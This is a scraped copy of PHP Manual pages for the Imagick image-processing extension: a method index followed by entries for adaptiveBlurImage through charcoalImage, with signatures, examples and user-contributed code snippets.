  • Imagick::getImageDelay — Gets the image delay
  • Imagick::getImageDepth — Gets the image depth
  • Imagick::getImageDispose — Gets the image disposal method
  • Imagick::getImageDistortion — Compares an image to a reconstructed image
  • Imagick::getImageExtrema — Gets the extrema for the image
  • Imagick::getImageFilename — Returns the filename of a particular image in a sequence
  • Imagick::getImageFormat — Returns the format of a particular image in a sequence
  • Imagick::getImageGamma — Gets the image gamma
  • Imagick::getImageGeometry — Gets the width and height as an associative array
  • Imagick::getImageGravity — Gets the image gravity
  • Imagick::getImageGreenPrimary — Returns the chromaticy green primary point
  • Imagick::getImageHeight — Returns the image height
  • Imagick::getImageHistogram — Gets the image histogram
  • Imagick::getImageIndex — Gets the index of the current active image
  • Imagick::getImageInterlaceScheme — Gets the image interlace scheme
  • Imagick::getImageInterpolateMethod — Returns the interpolation method
  • Imagick::getImageIterations — Gets the image iterations
  • Imagick::getImageLength — Returns the image length in bytes
  • Imagick::getImageMagickLicense — Returns a string containing the ImageMagick license
  • Imagick::getImageMatte — Return if the image has a matte channel
  • Imagick::getImageMatteColor — Returns the image matte color
  • Imagick::getImageOrientation — Gets the image orientation
  • Imagick::getImagePage — Returns the page geometry
  • Imagick::getImagePixelColor — Returns the color of the specified pixel
  • Imagick::getImageProfile — Returns the named image profile
  • Imagick::getImageProfiles — Returns the image profiles
  • Imagick::getImageProperties — Returns the image properties
  • Imagick::getImageProperty — Returns the named image property
  • Imagick::getImageRedPrimary — Returns the chromaticity red primary point
  • Imagick::getImageRegion — Extracts a region of the image
  • Imagick::getImageRenderingIntent — Gets the image rendering intent
  • Imagick::getImageResolution — Gets the image X and Y resolution
  • Imagick::getImagesBlob — Returns all image sequences as a blob
  • Imagick::getImageScene — Gets the image scene
  • Imagick::getImageSignature — Generates an SHA-256 message digest
  • Imagick::getImageSize — Returns the image length in bytes
  • Imagick::getImageTicksPerSecond — Gets the image ticks-per-second
  • Imagick::getImageTotalInkDensity — Gets the image total ink density
  • Imagick::getImageType — Gets the potential image type
  • Imagick::getImageUnits — Gets the image units of resolution
  • Imagick::getImageVirtualPixelMethod — Returns the virtual pixel method
  • Imagick::getImageWhitePoint — Returns the chromaticity white point
  • Imagick::getImageWidth — Returns the image width
  • Imagick::getInterlaceScheme — Gets the object interlace scheme
  • Imagick::getIteratorIndex — Gets the index of the current active image
  • Imagick::getNumberImages — Returns the number of images in the object
  • Imagick::getOption — Returns a value associated with the specified key
  • Imagick::getPackageName — Returns the ImageMagick package name
  • Imagick::getPage — Returns the page geometry
  • Imagick::getPixelIterator — Returns a MagickPixelIterator
  • Imagick::getPixelRegionIterator — Get an ImagickPixelIterator for an image section
  • Imagick::getPointSize — Gets point size
  • Imagick::getQuantumDepth — Gets the quantum depth
  • Imagick::getQuantumRange — Returns the Imagick quantum range
  • Imagick::getReleaseDate — Returns the ImageMagick release date
  • Imagick::getResource — Returns the specified resource's memory usage
  • Imagick::getResourceLimit — Returns the specified resource limit
  • Imagick::getSamplingFactors — Gets the horizontal and vertical sampling factor
  • Imagick::getSize — Returns the size associated with the Imagick object
  • Imagick::getSizeOffset — Returns the size offset
  • Imagick::getVersion — Returns the ImageMagick API version
  • Imagick::haldClutImage — Replaces colors in the image
  • Imagick::hasNextImage — Checks if the object has more images
  • Imagick::hasPreviousImage — Checks if the object has a previous image
  • Imagick::identifyImage — Identifies an image and fetches attributes
  • Imagick::implodeImage — Creates a new image as a copy
  • Imagick::importImagePixels — Imports image pixels
  • Imagick::labelImage — Adds a label to an image
  • Imagick::levelImage — Adjusts the levels of an image
  • Imagick::linearStretchImage — Stretches with saturation the image intensity
  • Imagick::liquidRescaleImage — Animates an image or images
  • Imagick::magnifyImage — Scales an image proportionally 2x
  • Imagick::mapImage — Replaces the colors of an image with the closest color from a reference image.
  • Imagick::matteFloodfillImage — Changes the transparency value of a color
  • Imagick::medianFilterImage — Applies a digital filter
  • Imagick::mergeImageLayers — Merges image layers
  • Imagick::minifyImage — Scales an image proportionally to half its size
  • Imagick::modulateImage — Control the brightness, saturation, and hue
  • Imagick::montageImage — Creates a composite image
  • Imagick::morphImages — Method morphs a set of images
  • Imagick::mosaicImages — Forms a mosaic from images
  • Imagick::motionBlurImage — Simulates motion blur
  • Imagick::negateImage — Negates the colors in the reference image
  • Imagick::newImage — Creates a new image
  • Imagick::newPseudoImage — Creates a new image
  • Imagick::nextImage — Moves to the next image
  • Imagick::normalizeImage — Enhances the contrast of a color image
  • Imagick::oilPaintImage — Simulates an oil painting
  • Imagick::opaquePaintImage — Changes the color value of any pixel that matches target
  • Imagick::optimizeImageLayers — Removes repeated portions of images to optimize
  • Imagick::orderedPosterizeImage — Performs an ordered dither
  • Imagick::paintFloodfillImage — Changes the color value of any pixel that matches target
  • Imagick::paintOpaqueImage — Change any pixel that matches color
  • Imagick::paintTransparentImage — Changes any pixel that matches color with the color defined by fill
  • Imagick::pingImage — Fetch basic attributes about the image
  • Imagick::pingImageBlob — Quickly fetch attributes
  • Imagick::pingImageFile — Get basic image attributes in a lightweight manner
  • Imagick::polaroidImage — Simulates a Polaroid picture
  • Imagick::posterizeImage — Reduces the image to a limited number of color level
  • Imagick::previewImages — Quickly pin-point appropriate parameters for image processing
  • Imagick::previousImage — Move to the previous image in the object
  • Imagick::profileImage — Adds or removes a profile from an image
  • Imagick::quantizeImage — Analyzes the colors within a reference image
  • Imagick::quantizeImages — Analyzes the colors within a sequence of images
  • Imagick::queryFontMetrics — Returns an array representing the font metrics
  • Imagick::queryFonts — Returns the configured fonts
  • Imagick::queryFormats — Returns formats supported by Imagick
  • Imagick::radialBlurImage — Radial blurs an image
  • Imagick::raiseImage — Creates a simulated 3d button-like effect
  • Imagick::randomThresholdImage — Creates a high-contrast, two-color image
  • Imagick::readImage — Reads image from filename
  • Imagick::readImageBlob — Reads image from a binary string
  • Imagick::readImageFile — Reads image from open filehandle
  • Imagick::recolorImage — Recolors image
  • Imagick::reduceNoiseImage — Smooths the contours of an image
  • Imagick::remapImage — Remaps image colors
  • Imagick::removeImage — Removes an image from the image list
  • Imagick::removeImageProfile — Removes the named image profile and returns it
  • Imagick::render — Renders all preceding drawing commands
  • Imagick::resampleImage — Resample image to desired resolution
  • Imagick::resetImagePage — Reset image page
  • Imagick::resizeImage — Scales an image
  • Imagick::rollImage — Offsets an image
  • Imagick::rotateImage — Rotates an image
  • Imagick::roundCorners — Rounds image corners
  • Imagick::sampleImage — Scales an image with pixel sampling
  • Imagick::scaleImage — Scales the size of an image
  • Imagick::segmentImage — Segments an image
  • Imagick::separateImageChannel — Separates a channel from the image
  • Imagick::sepiaToneImage — Sepia tones an image
  • Imagick::setBackgroundColor — Sets the object's default background color
  • Imagick::setColorspace — Set colorspace
  • Imagick::setCompression — Sets the object's default compression type
  • Imagick::setCompressionQuality — Sets the object's default compression quality
  • Imagick::setFilename — Sets the filename before you read or write the image
  • Imagick::setFirstIterator — Sets the Imagick iterator to the first image
  • Imagick::setFont — Sets font
  • Imagick::setFormat — Sets the format of the Imagick object
  • Imagick::setGravity — Sets the gravity
  • Imagick::setImage — Replaces image in the object
  • Imagick::setImageAlphaChannel — Sets image alpha channel
  • Imagick::setImageArtifact — Set image artifact
  • Imagick::setImageBackgroundColor — Sets the image background color
  • Imagick::setImageBias — Sets the image bias for any method that convolves an image
  • Imagick::setImageBluePrimary — Sets the image chromaticity blue primary point
  • Imagick::setImageBorderColor — Sets the image border color
  • Imagick::setImageChannelDepth — Sets the depth of a particular image channel
  • Imagick::setImageClipMask — Sets image clip mask
  • Imagick::setImageColormapColor — Sets the color of the specified colormap index
  • Imagick::setImageColorspace — Sets the image colorspace
  • Imagick::setImageCompose — Sets the image composite operator
  • Imagick::setImageCompression — Sets the image compression
  • Imagick::setImageCompressionQuality — Sets the image compression quality
  • Imagick::setImageDelay — Sets the image delay
  • Imagick::setImageDepth — Sets the image depth
  • Imagick::setImageDispose — Sets the image disposal method
  • Imagick::setImageExtent — Sets the image size
  • Imagick::setImageFilename — Sets the filename of a particular image
  • Imagick::setImageFormat — Sets the format of a particular image
  • Imagick::setImageGamma — Sets the image gamma
  • Imagick::setImageGravity — Sets the image gravity
  • Imagick::setImageGreenPrimary — Sets the image chromaticity green primary point
  • Imagick::setImageIndex — Set the iterator position
  • Imagick::setImageInterlaceScheme — Sets the image compression
  • Imagick::setImageInterpolateMethod — Sets the image interpolate pixel method
  • Imagick::setImageIterations — Sets the image iterations
  • Imagick::setImageMatte — Sets the image matte channel
  • Imagick::setImageMatteColor — Sets the image matte color
  • Imagick::setImageOpacity — Sets the image opacity level
  • Imagick::setImageOrientation — Sets the image orientation
  • Imagick::setImagePage — Sets the page geometry of the image
  • Imagick::setImageProfile — Adds a named profile to the Imagick object
  • Imagick::setImageProperty — Sets an image property
  • Imagick::setImageRedPrimary — Sets the image chromaticity red primary point
  • Imagick::setImageRenderingIntent — Sets the image rendering intent
  • Imagick::setImageResolution — Sets the image resolution
  • Imagick::setImageScene — Sets the image scene
  • Imagick::setImageTicksPerSecond — Sets the image ticks-per-second
  • Imagick::setImageType — Sets the image type
  • Imagick::setImageUnits — Sets the image units of resolution
  • Imagick::setImageVirtualPixelMethod — Sets the image virtual pixel method
  • Imagick::setImageWhitePoint — Sets the image chromaticity white point
  • Imagick::setInterlaceScheme — Sets the image compression
  • Imagick::setIteratorIndex — Set the iterator position
  • Imagick::setLastIterator — Sets the Imagick iterator to the last image
  • Imagick::setOption — Set an option
  • Imagick::setPage — Sets the page geometry of the Imagick object
  • Imagick::setPointSize — Sets point size
  • Imagick::setResolution — Sets the image resolution
  • Imagick::setResourceLimit — Sets the limit for a particular resource in megabytes
  • Imagick::setSamplingFactors — Sets the image sampling factors
  • Imagick::setSize — Sets the size of the Imagick object
  • Imagick::setSizeOffset — Sets the size and offset of the Imagick object
  • Imagick::setType — Sets the image type attribute
  • Imagick::shadeImage — Creates a 3D effect
  • Imagick::shadowImage — Simulates an image shadow
  • Imagick::sharpenImage — Sharpens an image
  • Imagick::shaveImage — Shaves pixels from the image edges
  • Imagick::shearImage — Creating a parallelogram
  • Imagick::sigmoidalContrastImage — Adjusts the contrast of an image
  • Imagick::sketchImage — Simulates a pencil sketch
  • Imagick::solarizeImage — Applies a solarizing effect to the image
  • Imagick::sparseColorImage — Interpolates colors
  • Imagick::spliceImage — Splices a solid color into the image
  • Imagick::spreadImage — Randomly displaces each pixel in a block
  • Imagick::steganoImage — Hides a digital watermark within the image
  • Imagick::stereoImage — Composites two images
  • Imagick::stripImage — Strips an image of all profiles and comments
  • Imagick::swirlImage — Swirls the pixels about the center of the image
  • Imagick::textureImage — Repeatedly tiles the texture image
  • Imagick::thresholdImage — Changes the value of individual pixels based on a threshold
  • Imagick::thumbnailImage — Changes the size of an image
  • Imagick::tintImage — Applies a color vector to each pixel in the image
  • Imagick::transformImage — Convenience method for setting crop size and the image geometry
  • Imagick::transparentPaintImage — Paints pixels transparent
  • Imagick::transposeImage — Creates a vertical mirror image
  • Imagick::transverseImage — Creates a horizontal mirror image
  • Imagick::trimImage — Remove edges from the image
  • Imagick::uniqueImageColors — Discards all but one of any pixel color
  • Imagick::unsharpMaskImage — Sharpens an image
  • Imagick::valid — Checks if the current item is valid
  • Imagick::vignetteImage — Adds vignette filter to the image
  • Imagick::waveImage — Applies wave filter to the image
  • Imagick::whiteThresholdImage — Force all pixels above the threshold into white
  • Imagick::writeImage — Writes an image to the specified filename
  • Imagick::writeImageFile — Writes an image to a filehandle
  • Imagick::writeImages — Writes an image or image sequence
  • Imagick::writeImagesFile — Writes frames to a filehandle

User Contributed Notes

php at mattjanssen dot com 21-Dec-2010 12:39
You can find the documentation for all of these magick_wand--the interface Imagic seems to be built on--functions at http://www.graphicsmagick.org/wand/magick_wand.html
Anonymous 30-Jul-2010 01:31
Simply echo the Imagick object to output it to the browser.

Remember to use setImageFormat() and header('Content-type: image/png')
martijn at elicit dot nl 20-Nov-2009 02:50
In case you are wondering why the function imageGrayscale() doesn't exist ... it's because imageModulate(100,0,100) does the trick already!

<?php
$f = 'enter filename here';
$i = new Imagick($f);
$i->imageModulate(100,0,100);
header('Content-type: image/jpeg');
echo $i;
?>
StealthFox at live dot com 23-Oct-2008 07:15
Users looking to save  with these functions should know it can be done easily, for example

<?php
header ("Content-Type: image/{$Imagick->getImageFormat()}");
$data = $Imagick->getImageBlob ();
echo $data;
file_put_contents ('test.png', $data);
?>

That would display the image, and then save it to test.png. Such things are helpful especially when you need to reload images after creating them or save for later. :)
Basic usage
Imagick::adaptiveBlurImage
ImageMagick


Adds adaptive blur filter to image

Imagick
Imagick::adaptiveResizeImage
Imagick
PHP Manual

Imagick::adaptiveBlurImage

(PECL imagick 2.0.0)

Imagick::adaptiveBlurImage — Adds adaptive blur filter to image

Description

bool Imagick::adaptiveBlurImage ( float $radius , float $sigma [, int $channel = Imagick::CHANNEL_DEFAULT ] )

Adds an adaptive blur filter to image. The intensity of an adaptive blur depends is dramatically decreased at edge of the image, whereas a standard blur is uniform across the image. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Parameters

radius

The radius of the Gaussian, in pixels, not counting the center pixel. Provide a value of 0 and the radius will be chosen automagically.

sigma

The standard deviation of the Gaussian, in pixels.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. Defaults to Imagick::CHANNEL_DEFAULT. Refer to this list of channel constants

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Examples

Example #1 Using Imagick::adaptiveBlurImage():

Adaptively blur an image, then display to the browser.

<?php

header('Content-type: image/jpeg');

$image = new Imagick('test.jpg');

$image->adaptiveBlurImage(5,3);
echo $image;

?>

The above example will output something similar to:

Output of example : Using Imagick::adaptiveBlurImage()

See Also

  • Imagick::blurImage() - Adds blur filter to image
  • Imagick::motionBlurImage() - Simulates motion blur
  • Imagick::radialBlurImage() - Radial blurs an image

User Contributed Notes

There are no user contributed notes for this page.
Imagick
Imagick::adaptiveResizeImage
Imagick


Adaptively resize image with data dependent triangulation

Imagick::adaptiveBlurImage
Imagick::adaptiveSharpenImage
Imagick
PHP Manual

Imagick::adaptiveResizeImage

(PECL imagick 2.0.0)

Imagick::adaptiveResizeImage — Adaptively resize image with data dependent triangulation

Description

bool Imagick::adaptiveResizeImage ( int $columns , int $rows [, bool $bestfit = false ] )

Adaptively resize image with data-dependent triangulation. Avoids blurring across sharp color changes. Most useful when used to shrink images slightly to a slightly smaller "web size"; may not look good when a full-sized image is adaptively resized to a thumbnail. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Note: The behavior of the parameter bestfit changed in Imagick 3.0.0. Before this version given dimensions 400x400 an image of dimensions 200x150 would be left untouched. In Imagick 3.0.0 and later the image would be scaled up to size 400x300 as this is the "best fit" for the given dimensions. If bestfit parameter is used both width and height must be given.

Parameters

columns

The number of columns in the scaled image.

rows

The number of rows in the scaled image.

bestfit

Whether to fit the image inside a bounding box.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Changelog

Version | Description
2.1.0 | Added optional fit parameter.
2.1.0 | This method now supports proportional scaling. Pass zero as either parameter for proportional scaling.

Examples

Example #1 Using Imagick::adaptiveResizeImage()

Resize an image to a standard size for the web. This method works best when resizing to a size only slightly smaller than the previous image size.

<?php
header('Content-type: image/jpeg');

$image = new Imagick('image.jpg');
$image->adaptiveResizeImage(1024,768);

echo $image;
?>

See Also

  • Imagick::chopImage() - Removes a region of an image and trims
  • Imagick::cropImage() - Extracts a region of the image
  • Imagick::magnifyImage() - Scales an image proportionally 2x
  • Imagick::minifyImage() - Scales an image proportionally to half its size
  • Imagick::resizeImage() - Scales an image
  • Imagick::scaleImage() - Scales the size of an image
  • Imagick::shaveImage() - Shaves pixels from the image edges
  • Imagick::thumbnailImage() - Changes the size of an image
  • Imagick::trimImage() - Remove edges from the image

User Contributed Notes

There are no user contributed notes for this page.
Imagick::adaptiveBlurImage
Imagick::adaptiveSharpenImage
Imagick


Adaptively sharpen the image

Imagick::adaptiveResizeImage
Imagick::adaptiveThresholdImage
Imagick
PHP Manual

Imagick::adaptiveSharpenImage

(PECL imagick 2.0.0)

Imagick::adaptiveSharpenImage — Adaptively sharpen the image

Description

bool Imagick::adaptiveSharpenImage ( float $radius , float $sigma [, int $channel = Imagick::CHANNEL_DEFAULT ] )

Adaptively sharpen the image by sharpening more intensely near image edges and less intensely far from edges. This method is available if Imagick has been compiled against ImageMagick version 6.2.9 or newer.

Parameters

radius

The radius of the Gaussian, in pixels, not counting the center pixel. Use 0 for auto-select.

sigma

The standard deviation of the Gaussian, in pixels.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. Defaults to Imagick::CHANNEL_DEFAULT. Refer to this list of channel constants

Return Values

Returns TRUE on success.

Examples

Example #1 A Imagick::adaptiveSharpenImage() example

Adaptively sharpen the image with radius 2 and sigma 1.

<?php
try {
    $image = new Imagick('image.png');
    $image->adaptiveSharpenImage(2,1);
} catch(ImagickException $e) {
    echo 'Error: ' , $e->getMessage();
    die();
}
header('Content-type: image/png');
echo $image;
?>

See Also

  • Imagick::sharpenImage() - Sharpens an image

User Contributed Notes

There are no user contributed notes for this page.
Imagick::adaptiveResizeImage
Imagick::adaptiveThresholdImage
Imagick


Selects a threshold for each pixel based on a range of intensity

Imagick::adaptiveSharpenImage
Imagick::addImage
Imagick
PHP Manual

Imagick::adaptiveThresholdImage

(PECL imagick 2.0.0)

Imagick::adaptiveThresholdImage — Selects a threshold for each pixel based on a range of intensity

Description

bool Imagick::adaptiveThresholdImage ( int $width , int $height , int $offset )

Selects an individual threshold for each pixel based on the range of intensity values in its local neighborhood. This allows for thresholding of an image whose global intensity histogram doesn't contain distinctive peaks.

Parameters

width

Width of the local neighborhood.

height

Height of the local neighborhood.

offset

The mean offset

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::adaptiveSharpenImage
Imagick::addImage
Imagick


Adds new image to Imagick object image list

Imagick::adaptiveThresholdImage
Imagick::addNoiseImage
Imagick
PHP Manual

Imagick::addImage

(PECL imagick 2.0.0)

Imagick::addImage — Adds new image to Imagick object image list

Description

bool Imagick::addImage ( Imagick $source )

Adds new image to Imagick object from the current position of the source object. After the operation iterator position is moved at the end of the list.

Parameters

source

The source Imagick object

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

bernie at dakotanetwork dot com 29-Nov-2011 03:42
create a favicon.ico with multiple resolutions

<?php

$src_img = new Imagick("src_img.png");
$icon = new Imagick();
$icon->setFormat("ico");

$geo=$src_img->getImageGeometry();

$size_w=$geo['width'];
$size_h=$geo['height'];

if (128/$size_w*$size_h>128) {
  $src_img->scaleImage(128,0);
} else {
  $src_img->scaleImage(0,128);
}

$src_img->cropImage(128, 128, 0, 0);

$clone = $src_img->clone();
$clone->scaleImage(16,0);
$icon->addImage($clone);

$clone = $src_img->clone();
$clone->scaleImage(32,0);
$icon->addImage($clone);

$clone = $src_img->clone();
$clone->scaleImage(64,0);
$icon->addImage($clone);

$clone = $src_img->clone();
$clone->scaleImage(128,0);
$icon->addImage($clone);

$icon->writeImages("favicon.ico", true);

$src_img->destroy();
$icon->destroy();
$clone->destroy();

?>
fortruth at mabang dot net 24-May-2010 08:21
to create an animation gif  from filelist using addImage

<?php
    $filelist = array("fileitem1.png","fileitem2.png","fileitem3.png");

    $aniGif = new Imagick();
    $aniGif->setFormat("gif");

    foreach($filelist as $frameitem){
        echo "-----------------------\n adding frame {$frameitem}\n";
        $frame = new Imagick($frameitem);
        $aniGif->addImage($frame);
        //$delay time unit is micro second so 100 = 1s, one picture per second
        $aniGif->setImageDelay($delay = 100);
        echo "end of adding frame {$frameitem}\n";
    }
    //there more than one file, so must be using writeImages()
    $aniGif->writeImages($fileTarget = "aniGif.gif", $adjoin = true);
?>
Imagick::adaptiveThresholdImage
Imagick::addNoiseImage
Imagick


Adds random noise to the image

Imagick::addImage
Imagick::affineTransformImage
Imagick
PHP Manual

Imagick::addNoiseImage

(PECL imagick 2.0.0)

Imagick::addNoiseImage — Adds random noise to the image

Description

bool Imagick::addNoiseImage ( int $noise_type [, int $channel = Imagick::CHANNEL_DEFAULT ] )

Adds random noise to the image.

Parameters

noise_type

The type of the noise. Refer to this list of noise constants.

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. Defaults to Imagick::CHANNEL_DEFAULT. Refer to this list of channel constants

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::addImage
Imagick::affineTransformImage
Imagick


Transforms an image

Imagick::addNoiseImage
Imagick::animateImages
Imagick
PHP Manual

Imagick::affineTransformImage

(PECL imagick 2.0.0)

Imagick::affineTransformImage — Transforms an image

Description

bool Imagick::affineTransformImage ( ImagickDraw $matrix )

Transforms an image as dictated by the affine matrix.

Parameters

matrix

The affine matrix

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::addNoiseImage
Imagick::animateImages
Imagick


Animates an image or images

Imagick::affineTransformImage
Imagick::annotateImage
Imagick
PHP Manual

Imagick::animateImages

(No version information available, might only be in SVN)

Imagick::animateImages — Animates an image or images

Description

bool Imagick::animateImages ( string $x_server )

This method animates the image onto a local or remote X server. This method is not available on Windows. This method is available if Imagick has been compiled against ImageMagick version 6.3.6 or newer.

Parameters

x_server

X server address

Return Values

Returns TRUE on success.

See Also

  • Imagick::displayImage() - Displays an image

User Contributed Notes

gomadurai at gmail dot com 14-Aug-2009 03:31
Below eg shows how to create animated gif
<?php

$multiTIFF = new Imagick();

$mytifspath = "./man"; // your image directory

$files = scandir($mytifspath);

//print_r($files);

/*foreach( $files as $f )
{*/

for($i=2;$i<6;$i++)
{
    echo $files[$i];

    echo "<br>";
    $auxIMG = new Imagick();
    $auxIMG->readImage($mytifspath."/".$files[$i]);

    $multiTIFF->addImage($auxIMG);
}

//file multi.TIF
$multiTIFF->writeImages('multi423432.gif', true); // combine all image into one single image

//files multi-0.TIF, multi-1.TIF, ...
$multiTIFF->writeImages('multi.gif', false);

?>
Imagick::affineTransformImage
Imagick::annotateImage
Imagick


Annotates an image with text

Imagick::animateImages
Imagick::appendImages
Imagick
PHP Manual

Imagick::annotateImage

(PECL imagick 2.0.0)

Imagick::annotateImage — Annotates an image with text

Description

bool Imagick::annotateImage ( ImagickDraw $draw_settings , float $x , float $y , float $angle , string $text )

Annotates an image with text.

Parameters

draw_settings

The ImagickDraw object that contains settings for drawing the text

x

Horizontal offset in pixels to the left of text

y

Vertical offset in pixels to the baseline of text

angle

The angle at which to write the text

text

The string to draw

Return Values

Returns TRUE on success.

Examples

Example #1 Using Imagick::annotateImage():

Annotate text on an empty image

<?php
/* Create some objects */
$image = new Imagick();
$draw = new ImagickDraw();
$pixel = new ImagickPixel( 'gray' );

/* New image */
$image->newImage(800, 75, $pixel);

/* Black text */
$draw->setFillColor('black');

/* Font properties */
$draw->setFont('Bookman-DemiItalic');
$draw->setFontSize( 30 );

/* Create text */
$image->annotateImage($draw, 10, 45, 0, 'The quick brown fox jumps over the lazy dog');

/* Give image a format */
$image->setImageFormat('png');

/* Output the image with headers */
header('Content-type: image/png');
echo $image;

?>

See Also

  • ImagickDraw::annotation() - Draws text on the image
  • ImagickDraw::setFont() - Sets the fully-specified font to use when annotating with text

User Contributed Notes

www dot query at gmail dot com 08-Sep-2011 08:13
$image->annotateImage($draw, 10, 45, 0, 'The quick brown fox');

If the third parameter, the 'Y' value, is 0, the text will be invisible because the text is printed ABOVE the image - not on the image.

The solution is to start, depending on your chosen font size, with a Y value of about 40 and experiment.

[Also:]

When wishing to print some text on a photograph and make that text sufficiently contrasting to the background image, use a 4 byte code for colour and transparency.

It is the same 4 byte code using by the parameter '-undercolor' in ImageMagick's command lime instruction 'convert'.

The first 3 bytes are the RGB colour code and the fourth byte is the transparency byte.

<?php
   $picin = new Imagick($pic1);
   $picin->scaleimage(800,0);
   $height = $picin->getimageheight();

   $draw = new ImagickDraw();
   $draw->setFillColor('#ffff00');
   $draw->setFont('Eurostile');
   $draw->setFontSize(21);
   $draw->setTextUnderColor('#ff000088');
   $picin->annotateImage($draw,40,$height-10,0,"Hallo");

   $picin->writeimage($pic6);
?>

The example code produces yellow text on a semi-transparent red background.

$pic1 and $pic6 were previously defined as directory/file strings.
alan at ridersite dot org 23-Aug-2007 12:37
If ImagickDraw::setGravity ( int $gravity ) has been set, e,g; with $gravity= imagick::GRAVITY_CENTER.

Then, the x and y values offset the text from where the gravity setting would have placed it.

If the example included: $draw->setGravity (Imagick::GRAVITY_CENTER);
$image->annotateImage($draw, 10, 45, 0, 'The quick brown fox jumps over the lazy dog');

The text would be rendered to the right 10px and down 45px from the center.

Gravity constants are very useful as they can save having to calculate the placement of variable text strings and font sizes.
Imagick::animateImages
Imagick::appendImages
Imagick


Append a set of images

Imagick::annotateImage
Imagick::averageImages
Imagick
PHP Manual

Imagick::appendImages

(PECL imagick 2.0.0)

Imagick::appendImages — Append a set of images

Description

Imagick Imagick::appendImages ( bool $stack = false )

Append a set of images into one larger image.

Parameters

stack

Whether to stack the images vertically. By default (or if FALSE is specified) images are stacked left-to-right. If stack is TRUE, images are stacked top-to-bottom.

Return Values

Returns Imagick instance on success.

Errors/Exceptions

Throws ImagickException on error.

Examples

Example #1 Imagick::appendImages() example

<?php

/* Create new imagick object */
$im = new Imagick();

/* create red, green and blue images */
$im->newImage(100, 50, "red");
$im->newImage(100, 50, "green");
$im->newImage(100, 50, "blue");

/* Append the images into one */
$im->resetIterator();
$combined = $im->appendImages(true);

/* Output the image */
$combined->setImageFormat("png");
header("Content-Type: image/png");
echo $combined;
?>

The above example will output something similar to:

Output of example : Imagick::appendImages()

User Contributed Notes

Brandon 12-Nov-2009 12:56
# How to combine a multi-page pdf file into a single long image:

<?php
$im1 = new Imagick();
$im1->readImage('multi-page-pdf.pdf');
$im1->resetIterator();
# Combine multiple images into one, stacked vertically.
$ima = $im1->appendImages(true);
$ima->setImageFormat("png");
header("Content-Type: image/png");
echo $ima;
?>
Imagick::annotateImage
Imagick::averageImages
Imagick


Average a set of images

Imagick::appendImages
Imagick::blackThresholdImage
Imagick
PHP Manual

Imagick::averageImages

(PECL imagick 2.0.0)

Imagick::averageImages — Average a set of images

Description

Imagick Imagick::averageImages ( void )

Average a set of images.

Return Values

Returns a new Imagick object on success.

Errors/Exceptions

Throws ImagickException on error.

User Contributed Notes

There are no user contributed notes for this page.
Imagick::appendImages
Imagick::blackThresholdImage
Imagick


Forces all pixels below the threshold into black

Imagick::averageImages
Imagick::blurImage
Imagick
PHP Manual

Imagick::blackThresholdImage

(PECL imagick 2.0.0)

Imagick::blackThresholdImage — Forces all pixels below the threshold into black

Description

bool Imagick::blackThresholdImage ( mixed $threshold )

Is like Imagick::thresholdImage() but forces all pixels below the threshold into black while leaving all pixels above the threshold unchanged.

Parameters

threshold

The threshold below which everything turns black

Return Values

Returns TRUE on success.

Changelog

Version | Description
2.1.0 | Now allows a string representing the color as a parameter. Previous versions allow only an ImagickPixel object.

User Contributed Notes

Iddles 06-Jul-2011 05:35
You need to pass this function a colour:

<?php

$img->blackThresholdImage( "#FFFFFF" );

?>

E.g. this blackens any pixel which isn't pure white.
elmer at web-axis dot net 30-Nov-2008 03:33
Here's a example of this function:

<?php
  $img = new Imagick();
  $img->readImage($image_file_name);
  $img->blackThresholdImage('grey');
  $img->writeImage($thumb_file_name);
  $img->clear();
  $img->destroy();
?>
Imagick::averageImages
Imagick::blurImage
Imagick


Adds blur filter to image

Imagick::blackThresholdImage
Imagick::borderImage
Imagick
PHP Manual

Imagick::blurImage

(PECL imagick 2.0.0)

Imagick::blurImage — Adds blur filter to image

Description

bool Imagick::blurImage ( float $radius , float $sigma [, int $channel ] )

Adds blur filter to image. Optional third parameter to blur a specific channel.

Parameters

radius

Blur radius

sigma

Standard deviation

channel

The Channeltype constant. When not supplied, all channels are blurred.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws ImagickException on error.

Examples

Example #1 Using Imagick::blurImage():

Blur an image, then display to the browser.

<?php

header('Content-type: image/jpeg');

$image = new Imagick('test.jpg');

$image->blurImage(5,3);
echo $image;

?>

See Also

  • Imagick::adaptiveBlurImage() - Adds adaptive blur filter to image
  • Imagick::motionBlurImage() - Simulates motion blur
  • Imagick::radialBlurImage() - Radial blurs an image

User Contributed Notes

There are no user contributed notes for this page.
Imagick::blackThresholdImage
Imagick::borderImage
Imagick


Surrounds the image with a border

Imagick::blurImage
Imagick::charcoalImage
Imagick
PHP Manual

Imagick::borderImage

(PECL imagick 2.0.0)

Imagick::borderImage — Surrounds the image with a border

Description

bool Imagick::borderImage ( mixed $bordercolor , int $width , int $height )

Surrounds the image with a border of the color defined by the bordercolor ImagickPixel object.

Parameters

bordercolor

ImagickPixel object or a string containing the border color

width

Border width

height

Border height

Return Values

Returns TRUE on success.

Changelog

Version | Description
2.1.0 | Now allows a string representing the color as the first parameter. Previous versions allow only an ImagickPixel object.

User Contributed Notes

mlong-php at mlong dot us 24-Oct-2007 11:48
How to set a 1 pixel border on an image object ($im):

  $color=new ImagickPixel();
  $color->setColor("rgb(220,220,220)");
  $im->borderImage($color,1,1);
Imagick::blurImage
Imagick::charcoalImage
Imagick


Simulates a charcoal drawing

Imagick::borderImage
Imagick::chopImage
Imagick
PHP Manual

Imagick::charcoalImage

(PECL imagick 2.0.0)

Imagick::charcoalImage — Simulates a charcoal drawing

Description

bool Imagick::charcoalImage ( float $radius , float $sigma )

Simulates a charcoal drawing.

Parameters

radius

The radius of the Gaussian, in pixels, not counting the center pixel

sigma

The standard deviation of the Gaussian, in pixels

Return Values

Returns TRUE on success.

User Contributed Notes

